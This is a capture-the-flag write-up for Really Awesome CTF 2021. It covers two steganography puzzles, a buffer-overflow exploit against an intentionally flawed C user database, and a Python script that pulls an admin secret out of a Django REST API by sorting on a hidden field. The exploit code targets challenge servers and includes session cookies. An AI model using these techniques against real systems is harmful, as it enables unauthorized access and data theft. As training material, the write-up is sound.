# Really Awesome CTF 2021

## Steganography

### I'm a Shouty Man \[300 pts]

> **Description**
>
> You have intercepted an shouty man's secret message. find the flag!

**Solution**

We are given a folder that contains a lot of WEBM files with one named sound and the other different characters.\
At first, I tried to do code to transcribe and online transcribers to be able to read the letters to get nowhere. I could take the 30 min hit of listening as opposed to trying to create the code for it at this point.

> \[0 - 10] Vml2YW11cyBzZWQgZWxpdCBpbnRlcmR1bSwgY29udmFsbGlzIHRlbGx1cy4gBmBzdGlidWx1bSBxdWlzIG1pIGbyYXQuIHlvdSBtYXkgYmUgd29uZGVyaW5nIHdoZXJlIHRoZSBmbEFnIGlzIHJpZ2h0IG5vdy4gd2BsbCBsZXQgbWUgdGVsbCB5b3UsIGl0J3Mgc29tZXdoZXJlLiB0aGUgZmxhZyBjb3VsZCBiZSByYWN0ZntoYWhhfSBvciBp\
> \[20 - 25] dHJpc3RpcXVlIGVzdC4gQ3JhcyBmYXVjaWJ1cyBtYXNzYSBsaWJlcm8sIHNpdCBhbWV0IHZ1bHB1dGF0ZSBvZGlvIGNvbnNlcXVhdCBjdXJzdXMgdEhlIHJFYUwgZ\
> \[25 - 27] kxBZyBpNSByYWN0ZntvTWdfaXq1X2FOX2F1ZDEwcGhpbDMhISF9I
>
> NSByYWN0ZntvTWdfaXq1X2FOX2F1ZDEwcGhpbDMhISF9

I eventually decoded it using Base64.

> \[0 - 10]\
> Vivamus sed elit interdum, convallis tellus. .`stibulum quis mi fòat. you may be wondering where the flAg is right now. w`ll let me tell you, it's somewhere. the flag could be ractf{haha} or i\
> \[20 - 25]\
> tristique est. Cras faucibus massa libero, sit amet vulputate odio consequat cursus tHe rEaL d\
> \[25 - 27]\
> ..YÈ.MH..XÝ..ÛÓY×Ú^.WØS.Ø]Y.L...\[.ÈHH\_H5 ractf{oMg\_izµ\_aN\_aud10phil3!!!}

I know this doesn't look good. I guess the Hard of hearing got the best of me and so I had to decode from this what the real flag was supposed to be. I took a little bit closer look and changed a few of the characters from the capital and lower case and close letters to get the flag.&#x20;

**Flag: ractf{oMg\_it5\_aN\_aud10phil3!!!}**

### Blue

> **Description**
>
> We found some blue, thoughts?

![](https://980792987-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Md9Bzo_DCKomMglV10a%2F-MhB1_Z9LQvZ6pK2a-F6%2F-MhB37lBALw2khi76PgU%2Fimage.png?alt=media\&token=19ca114a-4a63-4f01-95df-aa0134795661)

Solution

Being a colorblind person, I want to always look at the histogram of the photo to see this weird situation.

![](https://980792987-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Md9Bzo_DCKomMglV10a%2F-MhB1_Z9LQvZ6pK2a-F6%2F-MhB2wmeKqRS7vin4-tI%2Fimage.png?alt=media\&token=686842f5-b020-4f60-918b-9e583db2758e)

From that, I write some code to find the pixels that are odd. From there I can run a few ideas as to how the location, color, and hex could help come up with the flag. I tried a lot of attempts but nothing clicked so I gave up some time.

```python
import cv2

def oddPixels(img_file):
	img = cv2.imread(img_file, cv2.IMREAD_UNCHANGED)
	dim = img.shape
	h = dim[0]
	w = dim[1]
	match = [205,77,64]
	last = [205, 77, 64]
	fin = ""
	masBlue = bin(205)[-3:] + bin(77)[-2:] + bin(64)[-2:] + "1"
	print(int(masBlue ,2 ))
	for x in range(0, h):
		for y in range(0, w):
			curPix = img[x][y]
			if not(curPix[0] == match[0] and curPix[1] == match[1] and curPix[2] == match[2]):
				bn = bin(curPix[0])[7:]
				bn += bin(curPix[1])[7:]
				bn += bin(curPix[2])[7:]
#				print(bn)
#				hx = hex(curPix[0])[2:] + hex(curPix[1])[2:] + hex(curPix[2])[2:]
#				print(bin(curPix[0]))
#				bn = bin(curPix[0])[6:9] + bin(curPix[1])[6:8] + bin(curPix[2])[6:8]
				if (curPix[3] == 255):
					bn += "1"
				elif(curPix[3] == 254):
					bn += "0"
				print(bn, int(bn, 2))
				fin += bn
#				print(x,y,curPix,'\t', hx)
	print(fin)
	"""
	5 75 [204  79  71]       cc4f47
	8 118 [205  77  71]      cd4d47
	17 132 [204  77  71]     cc4d47
	41 60 [207  79  71]      cf4f47
	41 69 [206  77  71]      ce4d47
	42 58 [204  78  71]      cc4e47
	58 147 [207  79  67]     cf4f43
	64 38 [207  79  67]      cf4f43
	78 70 [204  76  71]      cc4c47
	84 23 [204  76  71]      cc4c47
	91 60 [205  76  71]      cd4c47
	115 46 [204  76  71]     cc4c47
	146 230 [205  77  69]    cd4d45
	158 252 [204  79  69]    cc4f45
	159 60 [206  79  71]     ce4f47
	160 19 [204  79  67]     cc4f43
	168 129 [206  76  71]    ce4c47
	176 43 [206  78  69]     ce4e45
	182 84 [205  79  69]     cd4f45
	195 101 [206  76  71]    ce4c47
	229 143 [205  77  67]    cd4d43
	235 218 [204  76  71]    cc4c47
	239 11 [204  76  69]     cc4c45
	243 232 [207  79  67]    cf4f43
	246 46 [207  78  71]     cf4e47
	"""
	""" Flip X and Y
	11 239 [204  76  69]     cc4c45
	19 160 [204  79  67]     cc4f43
	23 84 [204  76  71]      cc4c47
	38 64 [207  79  67]      cf4f43
	43 176 [206  78  69]     ce4e45
	46 115 [204  76  71]     cc4c47
	46 246 [207  78  71]     cf4e47
	58 42 [204  78  71]      cc4e47
	60 41 [207  79  71]      cf4f47
	60 91 [205  76  71]      cd4c47
	60 159 [206  79  71]     ce4f47
	69 41 [206  77  71]      ce4d47
	70 78 [204  76  71]      cc4c47
	75 5 [204  79  71]       cc4f47
	84 182 [205  79  69]     cd4f45
	101 195 [206  76  71]    ce4c47
	118 8 [205  77  71]      cd4d47
	129 168 [206  76  71]    ce4c47
	132 17 [204  77  71]     cc4d47
	143 229 [205  77  67]    cd4d43
	147 58 [207  79  67]     cf4f43
	218 235 [204  76  71]    cc4c47
	230 146 [205  77  69]    cd4d45
	232 243 [207  79  67]    cf4f43
	252 158 [204  79  69]    cc4f45
	"""
oddPixels("blue.png")
```

Yeah and that is left off till someone showed it could be different

```
R  G  B   A     |	 R      	  G            B            A     |Ascii|Binary  |Decimal

69 76 204 254   | 01000 101 | 010011 00 |  110011 00 | 1111111  0 | r   |01110010|114
67 79 204 254   | 01000 011 | 010011 11 |  110011 00 | 1111111  0 | a   |01100001|97
71 76 204 254   | 01000 111 | 010011 00 |  110011 00 | 1111111  0 | c   |01100011|99
67 79 207 255   | 01000 011 | 010011 11 |  110011 11 | 1111111  1 | t   |01110100|116
69 78 206 254   | 01000 101 | 010011 10 |  110011 10 | 1111111  0 | f   |01100110|102
71 76 204 255   | 01000 111 | 010011 00 |  110011 00 | 1111111  1 | {   |01111011|123
71 78 207 254   | 01000 111 | 010011 10 |  110011 11 | 1111111  0 |     |        |
71 78 204 254   | 01000 111 | 010011 10 |  110011 00 | 1111111  0 |     |        |
71 79 207 255   | 01000 111 | 010011 11 |  110011 11 | 1111111  1 |     |        |
71 76 205 254   | 01000 111 | 010011 00 |  110011 01 | 1111111  0 |     |        |
71 79 206 255   | 01000 111 | 010011 11 |  110011 10 | 1111111  1 |     |        |
71 77 206 255   | 01000 111 | 010011 01 |  110011 10 | 1111111  1 |     |        |
71 76 204 254   | 01000 111 | 010011 00 |  110011 00 | 1111111  0 |     |        |
71 79 204 255   | 01000 111 | 010011 11 |  110011 00 | 1111111  1 |     |        |
69 79 205 255   | 01000 101 | 010011 11 |  110011 01 | 1111111  1 |     |        |
71 76 206 254   | 01000 111 | 010011 00 |  110011 10 | 1111111  0 |     |        |
71 77 205 254   | 01000 111 | 010011 01 |  110011 01 | 1111111  0 |     |        |
71 76 206 255   | 01000 111 | 010011 00 |  110011 10 | 1111111  1 |     |        |
71 77 204 254   | 01000 111 | 010011 01 |  110011 00 | 1111111  0 |     |        |
67 77 205 254   | 01000 011 | 010011 01 |  110011 01 | 1111111  0 |     |        |
67 79 207 254   | 01000 011 | 010011 11 |  110011 11 | 1111111  0 |     |        |
71 76 204 254   | 01000 111 | 010011 00 |  110011 00 | 1111111  0 |     |        |
69 77 205 254   | 01000 101 | 010011 01 |  110011 01 | 1111111  0 |     |        |
67 79 207 255   | 01000 011 | 010011 11 |  110011 11 | 1111111  1 |     |        |
69 79 204 255   | 01000 101 | 010011 11 |  110011 00 | 1111111  1 | }   |01111101|125
```

But that doesn't line up and can't see any way that it could line up.

## Reverse

### Dodgy Database \[350 pts]

> **Description**
>
> One of our most senior engineers wrote this database code, it's super well commented code, but it does seem like they have a bit of a god complex. See if you can help them out.

**Solution**

Below is the C code we are given.

```python
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define STR_EXPAND(tok) #tok
#define STR(tok) STR_EXPAND(tok)

#define USERNAME_LEN 20
#define DATABASE "database.txt"
#define FLAG "ractf{fake_flag}"

typedef enum {
	ROLE_USER,
	ROLE_ADMIN,
	ROLE_GOD = 0xBEEFCAFE,
} Role;

typedef struct {
	char name[USERNAME_LEN];
	Role role;
} User;

typedef struct {
	User* users;
	size_t num_users;
	size_t capacity;
} Users;

/**
 * Exit, printing a failure message before killing the program.
 */
void die(const char *restrict fmt, ...) {
	va_list args;
	va_start(args, fmt);
	vfprintf(stderr, fmt, args);
	va_end(args);
	exit(EXIT_FAILURE);
}

/**
 * Create a user struct with the given name and the ROLE_USER role.
 */
User* user_create(const char* name) {
	User* user = malloc(sizeof(User));

	strcpy(user->name, name);

	return user;
}

/**
 * Allocate and initialize the Users struct.
 */
Users* users_init(const size_t capacity) {
	Users* users = calloc(1UL, sizeof(Users));

	users->users = calloc(capacity, sizeof(User));
	users->num_users = 0UL;
	users->capacity = capacity;

	return users;
}

/**
 * Double the capacity of the users array.
 */
void users_extend_capacity(Users* users) {
	users->capacity <<= 1;
	users->users = realloc(users->users, users->capacity * sizeof(User));
}

/**
 * Add a user to the users struct.
 */
void users_add_user(Users* users, const char* name, Role role) {
	User* user = &users->users[users->num_users++];
	strcpy(user->name, name);
	user->role = role;
}

/**
 * Check whether a user is registered.
 * MUST BE CALLED BY AN ADMIN
 */
bool users_check_registered(const Users *const users, const User *const admin, const char *const name) {
	if (admin->role == ROLE_ADMIN) {
		for (size_t i = 0UL; i < users->num_users; i++) {
			User* user = &users->users[i];

			if (strncmp(user->name, name, 20UL) == 0) {
				return true;
			}
		}
	} else {
		die("[users_check_registered]\tInsufficient permissions.\n");
	}

	return false;
}

/**
 * Registers a new user in the database.
 */
void users_register_user(Users* users, const User *const admin, const User *const user) {
	if (admin->role == ROLE_ADMIN)
		users_add_user(users, user->name, ROLE_USER);
	else if (admin->role == ROLE_GOD)
		puts(FLAG);
	else
		die("[users_register_user]\tInsufficient permissions to register user, exiting.\n");
}

/**
 * Reads all the users and their roles from the file.
 */
Users* read_users(const char* filename) {
	FILE* file = fopen(filename, "r");
	if (file == NULL) die("Failed to open database file: \"%s\"\n", filename);
	size_t line_len,
				 lines_read = 0UL;
	char* lineptr = NULL;

	Users* users = users_init(10UL);

	while (getline(&lineptr, &line_len, file) != -1) {
		if (lines_read++ == users->capacity) {
			users_extend_capacity(users);
		}

		char name[21] = { 0 };
		char role[6] = { 0 };
		int num_parsed = sscanf(lineptr, "%" STR(USERNAME_LEN) "s %s", name, role);

		if (num_parsed != 2) goto parse_failed;

		if      (strcmp(role, "USER")  == 0) users_add_user(users, name, ROLE_USER);
		else if (strcmp(role, "ADMIN") == 0) users_add_user(users, name, ROLE_ADMIN);
		else if (strcmp(role, "GOD")   == 0) users_add_user(users, name, ROLE_GOD);
		else
parse_failed: die("[read_users]\tFailed to parse user line: \"%s\", exiting!\n", lineptr);
	}

	free(lineptr);

	return users;
}

/**
 * Saves the users database out to a file.
 */
void save_users(const Users *const users, const char *const filename) {
	FILE* file = fopen(filename, "w");
	for (size_t i = 0UL; i < users->num_users; i++) {
		User* user = &users->users[i];

		switch (user->role) {
			case ROLE_GOD:
				fprintf(file, "%" STR(USERNAME_LEN) "s GOD\n",   user->name);
				break;
			case ROLE_ADMIN:
				fprintf(file, "%" STR(USERNAME_LEN) "s ADMIN\n", user->name);
				break;
			case ROLE_USER:
				fprintf(file, "%" STR(USERNAME_LEN) "s USER\n",  user->name);
				break;
			default:
				die("[save_user]\tInvalid user role: %d, exiting!\n", user->role);
		}
	}
}

/**
 * Sets IO to non-buffering, not part of the challenge
 */
void setup_for_challenge() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin,  NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

int main(void) {
	setup_for_challenge();

	Users* users = read_users(DATABASE);

	// get user to register
	puts("Hi, welcome to my users database.");
	printf("Please enter a user to register: ");
	char username[30] = { 0 },
			 *newline;
	fgets(username, 30, stdin);
	if ((newline = strchr(username, '\n')) != NULL)
		*newline = '\0';

	// create admin
	User* admin = user_create("admin");
	admin->role = ROLE_ADMIN;

	// check registered
	if (!users_check_registered(users, admin, username)) {
		// register the user
		free(admin);
		User* user = user_create(username);
		users_register_user(users, admin, user);
	}

	// save the new database
	save_users(users, DATABASE);

	return 0;
}

```

Well, I start with a buffer overflow approach. The username is a length of 20 \[line 10] and to become GOD code is Beefcafe \[line 17]. Put that together and you become a god who can view the flag.

```python
from pwn import *

connect = remote('193.57.159.27', 31267)
payload = bytes('A' * 20, 'utf-8') + p32(0xBEEFCAFE)
connect.sendline(payload)
connect.interactive()
```

**Flag: ractf{w0w\_1\_w0nD3r\_wH4t\_free(admin)\_d0e5}**

## Web

### Secret Store **\[300 pts]**

> **Description**
>
> How many secrets could a secret store store if a store could store secrets?

**Solution \[By JoshL]**

There are only two functionalities you really need to care about the `/api/secret` endpoint allows you to set a secret with a POST and return a list of secret ids + user ids with a get(edited)

```python
class SecretViewSet(viewsets.ModelViewSet):
    queryset = Secret.objects.all()
    serializer_class = SecretSerializer
    permission_classes = (IsAuthenticated & IsSecretOwnerOrReadOnly,)
    filter_backends = [filters.OrderingFilter]
    ordering_fields = "__all__"

class SecretSerializer(serializers.ModelSerializer):
    class Meta:
        model = Secret
        fields = ["id", "value", "owner", "last_updated", "created"]
        read_only_fields = ["owner", "last_updated", "created"]
        extra_kwargs = {"value": {"write_only": True}}

    def create(self, validated_data):
        validated_data["owner"] = self.context["request"].user
        if Secret.objects.filter(owner=self.context["request"].user):
            return super(SecretSerializer, self).update(Secret.objects.get(owner=self.context['request'].user), validated_data)
        return super(SecretSerializer, self).create(validated_data)
```

are the relevant lines of code`SecretSerializer.create` handles the POST request, and the GET is implemented by the `viewsets.ModelViewSet` mixin. Now, the vuln is `filters.OrderingFilter` googling that tells you it allows you to order by fields, and you can specify what you're allowed to order by allowing certain fields in `ordering_fields` (in this case, it allows all fields inside the Secret model that's what the `__all__` means). ]So you have two functionality `POST /api/secret/` Update your secret value `GET /api/secret/?ordering=` Returns a list of secrets (by id) and users (by id), allowed to order by any field within the Secret model(edited). The flag is a secret created by the user with id 1 (I'm assuming it's admin or something). Sooo, with `ordering` you could order by the secret values itself and slowly binary search for the flag if your secret is `aaaa`, the admin is `ractf{`, if you order by value, your id will show up **before** the admin's(edited)\[11:25 PM]if your secret is `zzz` and the admin is `ractf{` if you order by value, your id will show up **after** the admin's

```python
import requests
from Crypto.Util.number import long_to_bytes
import json


cookies = {"csrftoken":"xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk", "sessionid":"jyya08irbxysteizgtvmoyjw29bgmb9m"}
headers = {"X-CSRFToken": "xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk"}
charset = ''.join([chr(i) for i in range(0x20, 0x7f)])
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ "

def b95encode(val):
    ret = []
    base=95
    while val:
        ret.append(charset[val%base])
        val//=base
    return ''.join(ret)[::-1]




# for i in range(0x100):
#     print(b95encode(i))


l,r=0,95**50

post_url = 'http://193.57.159.27:48478/api/secret/'
get_url = 'http://193.57.159.27:48478/api/secret/?ordering=value'

while l<=r:
    m=(l+r)//2
    payload = b95encode(m)

    data = {"value": payload}
    print(payload,l,r)
    requests.post(post_url, cookies=cookies, headers=headers, data=data)
    rr = requests.get(get_url, cookies=cookies, headers=headers)
    ids = [dat['id'] for dat in json.loads(rr.text)]
    if ids.index(16) < ids.index(1):
        l=m+1
    else:
        r=m-1

print(b95encode(l))

# GET /api/secret/?ordering=value HTTP/1.1
# Host: 193.57.159.27:48478
# User-Agent: curl/7.74.0
# Accept: */*
# Cookie: csrftoken=xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk; sessionid=jyya08irbxysteizgtvmoyjw29bgmb9m
# Content-Length: 17
# Content-Type: application/json
# X-CSRFToken: xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk

# {"value":"AAA"
# }

# ractf{data_exf1l_via_s0rt1ng_0c66de47}  

# 193.57.159.27 50871
```

**Flag: ractf{data\_exf1l\_via\_s0rt1ng\_0c66de47}**
